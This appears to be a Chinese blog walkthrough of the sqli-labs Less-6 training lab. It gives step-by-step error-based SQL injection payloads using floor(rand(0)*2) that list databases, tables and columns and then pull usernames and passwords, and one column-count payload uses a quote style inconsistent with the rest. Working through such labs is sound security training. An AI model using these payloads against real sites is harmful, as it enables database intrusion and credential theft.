Less(6)

1.先判断注入类型

  

 

   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    

 

   (2)再输入?id=1'

    

 

   (3)再输入?id=1 and 1=1

    

 

   (4)再输入?id=1 and 1=2

    

 

     (3)(4)界面一样,所以不是数字型

  (5)再输入?id=1"

    

 

     发现报错,我们加上--+,把后面注释掉

  (6)输入: ?id=1" --+

    

 

   接受的参数为id="1"

2..对列数进行判断

  (1)输入?id=1") order by 3 --+

    

 

   (2)输入?id=1") order by 4 --+

    

 

   (3)为3列

3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。

  

4.我们用floor进行注入

  (1)爆库长:?id=1" and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

    

    

  这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

  group_concat()函数的作用:将返回信息拼接成一行显示
  limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

  (2)注当前的数据库名:?id=-1" union select 1,count(*),concat(database(),';',floor(rand(0)*2))x from information_schema.tables group by x; --+

    

   (3)爆注册表:?id=-1" union select 1,count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

   (4)注某张表的字段,这里以users为例:?id=-1" union select 1,count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+ 

    

   (5)注字段的username值,这里以users为例:?id=-1" union select 1,count(*),concat((select concat (username,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

    

 

  (6)注字段的password,这里以users表为例:?id=-1" union select 1,count(*),concat((select concat(password,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+

     

 

posted @ 2019-12-22 16:11  孟雨  阅读(245)  评论(0编辑  收藏  举报